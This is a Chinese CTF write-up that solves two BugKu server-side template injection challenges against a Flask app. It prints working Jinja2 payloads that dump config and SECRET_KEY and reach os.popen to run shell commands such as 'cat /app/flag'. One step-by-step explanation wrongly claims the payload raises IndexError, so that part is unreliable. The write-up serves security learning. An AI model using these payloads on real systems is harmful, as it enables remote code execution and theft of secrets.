BugKu-Web-Simple_SSTI_1Simple_SSTI_2(浅析SSTI模板注入!)

2023-12-13 18:28

本文主要是介绍BugKu-Web-Simple_SSTI_1Simple_SSTI_2(浅析SSTI模板注入!),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

何为SSTI模块注入?

SSTI即服务器端模板注入(Server-Side Template Injection),是一种注入漏洞。

服务端接收了用户的恶意输入以后,未经任何处理就将其作为Web应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell等问题。

常见的SSTI模块注入攻击有哪些

常见的SSTI模块注入攻击包括以下几种:

  1. 代码执行:攻击者可以通过SSTI注入在服务器端执行任意代码,包括命令执行、远程文件包含等攻击。这可能导致服务器被完全控制,进一步导致数据泄漏、服务器崩溃或恶意操作。
  2. 敏感信息泄露:攻击者可以通过SSTI注入获取服务器上的敏感信息,如数据库连接字符串、API密钥等。这可能导致用户数据泄露、系统被入侵或身份盗窃等问题。
  3. 垂直和横向越权:通过SSTI注入,攻击者可能访问到非授权的数据或功能,实施垂直或横向越权行为。这可能导致用户权限被提升、重要数据被访问或其他合法用户遭受影响。
  4. DoS攻击:攻击者可以通过SSTI注入导致服务器负载过高,从而拒绝服务,使网站或应用程序无法正常运行。

Simple_SSTI_1

题目环境
image.png

You need pass in a parameter named flag。
您需要传入一个名为flag的参数。

随便传参看看有何变化

?flag=1

image.png

?flag=flag.php

image.png

?flag=system(ls);

image.png

有点意思,不管输入什么,都会被"注释",不免让我有些惊愕。

接下来就步入正题吧

使用模板变量进行渗透
{{}}是模板变量的用法。在模板中,想要展示视图向模板渲染的变量,需要使用{{变量}}进行接收。

继续传参测试

?flag={{6*6}}

image.png

?flag={{6+6}}

image.png

爆出了部分信息

回到题目首页F12
image.png

You know, in the flask, We often set a secret_key variable.
你知道,在烧瓶里,我们经常设置一个秘密的钥匙…。

模板中的配置命令

在模板中,config通常指的是配置文件。这些文件包含了程序运行所需的设置和参数,使得程序可以根据配置文件的内容进行适应性调整。

那就到此为止吧

好好好,今天就依你,使用这把钥匙🔑来拿下flag

?flag={{config.SECRET_KEY}}
image.png
当然还有一个较为粗鲁的方法
直接查看所有配置
**?flag={{config}}**
image.png
最后一种方法就颇为更加的规范
?flag={{''.__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('echo $FLAG').read()}}

这里是对这段命令的解释

  1. ‘’.class:这部分获取了一个空字符串的类。
  2. .base:这部分获取了该类的基类,对于空字符串来说,它的基类是object。
  3. .subclasses():这部分返回了object类的所有直接子类。
  4. [127]:这部分试图访问子类列表的第128个元素(因为Python的索引是从0开始的),但这个索引超出了列表的长度,所以会抛出一个IndexError。
  5. .init:这部分试图访问某个类的初始化方法,但前面提到的子类列表访问是错误的,所以这一步也是错误的。
  6. .globals[‘popen’](‘echo $FLAG’).read():这部分首先尝试访问当前对象的全局符号表(字典),然后试图在其中查找popen键,并执行其对应的值(一个命令)。这个命令是echo $FLAG,它会输出环境变量FLAG的值。最后,.read()方法读取命令的输出。

这段代码的核心思想是通过复杂的对象模型和全局符号表来执行一个命令并读取其输出

image.png
拿下flag:
flag{d3b917ea81211b45b392e2ce1ec2a1c5}

Simple_SSTI_2

题目环境
image.png
照例查看配置信息
**?flag={{config}}**
image.png

唉,我不免耸了耸肩,有些无奈,并未发现什么有用的
想必相比第一题便不是那般小打小闹了
至此,看来得认真对待了

使用模板注入照打一番
?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../').read()}}

对于这段命令,在第一题,我也是有所提及,相差不大
这里略作解释
python中popen函数主要是用来执行linux命令函数
使用使用之前需要导入os模块
这段命令是列出上一级的所有目录以及文件

image.png
先看app目录
?flag={{config.__class__.__init__.__globals__['os'].popen('ls /app').read()}}
image.png

发现flag的存在

查flag内容
?flag={{config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read()}}
image.png
当让我们还可以使用Linux中find命令来查找flag的路径
?flag={{config.__class__.__init__.__globals__['os'].popen('find / -name flag').read()}}
image.png
接下来就照打不误了
?flag={{config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read()}}
image.png

拿下flag:
flag{1f13963c42fa39b5aae92e25d1627851}


这篇关于BugKu-Web-Simple_SSTI_1Simple_SSTI_2(浅析SSTI模板注入!)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/489487

相关文章

浅析如何使用Swagger生成带权限控制的API文档

《浅析如何使用Swagger生成带权限控制的API文档》当涉及到权限控制时,如何生成既安全又详细的API文档就成了一个关键问题,所以这篇文章小编就来和大家好好聊聊如何用Swagger来生成带有... 目录准备工作配置 Swagger权限控制给 API 加上权限注解查看文档注意事项在咱们的开发工作里,API

解决JavaWeb-file.isDirectory()遇到的坑问题

《解决JavaWeb-file.isDirectory()遇到的坑问题》JavaWeb开发中,使用`file.isDirectory()`判断路径是否为文件夹时,需要特别注意:该方法只能判断已存在的文... 目录Jahttp://www.chinasem.cnvaWeb-file.isDirectory()遇

JavaWeb-WebSocket浏览器服务器双向通信方式

《JavaWeb-WebSocket浏览器服务器双向通信方式》文章介绍了WebSocket协议的工作原理和应用场景,包括与HTTP的对比,接着,详细介绍了如何在Java中使用WebSocket,包括配... 目录一、概述二、入门2.1 POM依赖2.2 编写配置类2.3 编写WebSocket服务2.4 浏

浅析Rust多线程中如何安全的使用变量

《浅析Rust多线程中如何安全的使用变量》这篇文章主要为大家详细介绍了Rust如何在线程的闭包中安全的使用变量,包括共享变量和修改变量,文中的示例代码讲解详细,有需要的小伙伴可以参考下... 目录1. 向线程传递变量2. 多线程共享变量引用3. 多线程中修改变量4. 总结在Rust语言中,一个既引人入胜又可

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

Spring常见错误之Web嵌套对象校验失效解决办法

《Spring常见错误之Web嵌套对象校验失效解决办法》:本文主要介绍Spring常见错误之Web嵌套对象校验失效解决的相关资料,通过在Phone对象上添加@Valid注解,问题得以解决,需要的朋... 目录问题复现案例解析问题修正总结  问题复现当开发一个学籍管理系统时,我们会提供了一个 API 接口去

基于Java实现模板填充Word

《基于Java实现模板填充Word》这篇文章主要为大家详细介绍了如何用Java实现按产品经理提供的Word模板填充数据,并以word或pdf形式导出,有需要的小伙伴可以参考一下... Java实现按模板填充wor编程d本文讲解的需求是:我们需要把数据库中的某些数据按照 产品经理提供的 word模板,把数据

使用IntelliJ IDEA创建简单的Java Web项目完整步骤

《使用IntelliJIDEA创建简单的JavaWeb项目完整步骤》:本文主要介绍如何使用IntelliJIDEA创建一个简单的JavaWeb项目,实现登录、注册和查看用户列表功能,使用Se... 目录前置准备项目功能实现步骤1. 创建项目2. 配置 Tomcat3. 项目文件结构4. 创建数据库和表5.

手把手教你idea中创建一个javaweb(webapp)项目详细图文教程

《手把手教你idea中创建一个javaweb(webapp)项目详细图文教程》:本文主要介绍如何使用IntelliJIDEA创建一个Maven项目,并配置Tomcat服务器进行运行,过程包括创建... 1.启动idea2.创建项目模板点击项目-新建项目-选择maven,显示如下页面输入项目名称,选择

浅析Spring Security认证过程

类图 为了方便理解Spring Security认证流程,特意画了如下的类图,包含相关的核心认证类 概述 核心验证器 AuthenticationManager 该对象提供了认证方法的入口,接收一个Authentiaton对象作为参数; public interface AuthenticationManager {Authentication authenticate(Authenti